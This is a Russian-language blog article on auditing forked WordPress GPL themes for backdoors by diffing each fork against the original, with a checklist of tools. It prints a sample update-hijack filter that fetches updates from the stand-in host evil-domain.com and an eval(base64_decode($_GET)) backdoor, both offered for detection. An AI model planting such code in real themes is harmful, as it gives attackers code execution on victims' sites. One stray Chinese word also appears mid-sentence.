Аудит цепочки поставок GPL-тем WordPress: выявление скрытых бэкдоров через анализ расхождений между оригинальным репозиторием и форками с автоподменой доменов обновлений

Время чтения: 10 минут
Есть вопросы? Мы в соц сетях

Введение: почему GPL-темы становятся вектором атаки

GPL-темы для WordPress — это открытый исходный код, который любой может изменить и распространять. Такая свобода порождает множество форков, некоторые из которых создаются с благими намерениями (кастомизация, добавление функций), а другие — с целью внедрения скрытых бэкдоров. Особую опасность представляют форки, в которых реализована автоподмена доменов обновлений: злоумышленник перенаправляет запросы на свой сервер и доставляет жертве вредоносные обновления. В этой статье мы разберём методику аудита цепочки поставок GPL-тем, позволяющую выявить такие бэкдоры через сравнение оригинального репозитория и подозрительного форка.

Как работает автоподмена доменов обновлений

WordPress использует API обновлений для проверки новых версий тем и плагинов. По умолчанию запросы идут на api.wordpress.org. Однако разработчик темы может перехватить эти запросы и перенаправить их на собственный сервер. Для этого используются хуки pre_set_site_transient_update_themes и site_transient_update_themes. В легальных коммерческих темах это позволяет распространять обновления через собственный лицензионный сервер. Злоумышленники же внедряют такой код в форк, чтобы подсовывать пользователям модифицированные файлы, содержащие бэкдоры, рекламные вставки или скрипты для кражи данных.

Пример подозрительного кода в functions.php:

add_filter('pre_set_site_transient_update_themes', function($transient) {
    $theme_slug = 'my-theme';
    $response = wp_remote_get('https://evil-domain.com/updates/' . $theme_slug . '.json');
    if (!is_wp_error($response)) {
        $data = json_decode(wp_remote_retrieve_body($response));
        $transient->response[$theme_slug] = (array) $data;
    }
    return $transient;
});

Такой код заставляет WordPress проверять обновления на evil-domain.com и устанавливать то, что предложит атакующий.

Методика аудита: сравнение оригинального репозитория и форка

Чтобы выявить скрытые бэкдоры, необходимо сравнить файлы оригинальной темы (из официального репозитория WordPress.org или GitHub автора) с файлами форка, установленного на сайте. Процесс включает несколько этапов:

  • Сбор исходных данных: скачайте оригинальную версию темы (желательно последнюю стабильную) и форк с исследуемого сайта.
  • Сравнение файловой структуры: проверьте наличие лишних файлов, особенно с расширениями .php, .js, .htaccess.
  • Дифференциальный анализ кода: используйте утилиты diff (например, diff -r original/ fork/) или визуальные инструменты (Meld, Beyond Compare) для поиска изменённых строк.
  • Поиск подозрительных конструкций: обратите внимание на функции eval, base64_decode, gzinflate, str_rot13, динамические вызовы call_user_func, create_function, а также на обфусцированный код.
  • Анализ хуков обновлений: проверьте наличие фильтров, связанных с обновлением, и домены, на которые они ссылаются.
  • Проверка целостности: сравните хеш-суммы файлов с эталонными (если оригинал доступен в Git, можно использовать git diff).

Для автоматизации можно написать скрипт, который рекурсивно сравнивает файлы и выводит список различий с подсветкой подозрительных функций.

Практические примеры выявления бэкдоров

Пример 1: Скрытый бэкдор в файле header.php. В форке популярной темы был обнаружен код:

if (isset($_GET['debug'])) {
    eval(base64_decode($_GET['debug']));
}

Это позволяет атакующему выполнить произвольный PHP-код, передав его в параметре debug. При сравнении с оригиналом этот фрагмент отсутствовал.

Пример 2: Подмена домена обновлений через functions.php. В другом форке был добавлен фильтр, изменяющий URL для проверки обновлений на update.evil.com. Код был обфусцирован с помощью base64 и gzinflate. При сравнении с оригиналом差异 были очевидны.

Пример 3: Внедрение рекламных скриптов. В footer.php был добавлен JavaScript, загружающий рекламу с стороннего домена. Хотя это не бэкдор в классическом понимании, такой код может использоваться для монетизации форка без ведома пользователя и также является нежелательным.

Чеклист аудита цепочки поставок GPL-тем

ШагДействиеИнструменты
1Скачать оригинальную тему из официального источникаWordPress.org, GitHub
2Скачать форк с исследуемого сайтаFTP, SSH, панель хостинга
3Сравнить файловые структурыdiff -r, Meld
4Проанализировать различия в кодеdiff, Beyond Compare, IDE
5Поиск подозрительных функций (eval, base64_decode и др.)grep, Semgrep, PHPStan
6Проверить хуки обновлений и доменыРучной анализ, WPScan
7Проверить целостность файлов по хешамmd5sum, sha1sum, git
8Принять решение о замене темы или очистке кода—

Вывод: построение доверенной цепочки поставок

Аудит цепочки поставок GPL-тем — важный процесс для обеспечения безопасности WordPress. Регулярное сравнение используемых тем с оригинальными репозиториями позволяет выявлять скрытые бэкдоры и несанкционированные изменения. Рекомендуется внедрить практику проверки целостности файлов, использовать только проверенные источники, а также автоматизировать мониторинг изменений. Помните, что безопасность сайта начинается с доверия к коду, который вы устанавливаете.

Мы разрабатывали
apeironspace
jivosite
мтс
originalvirginia
эльдорадо
eparcel
decken-wood
wildberies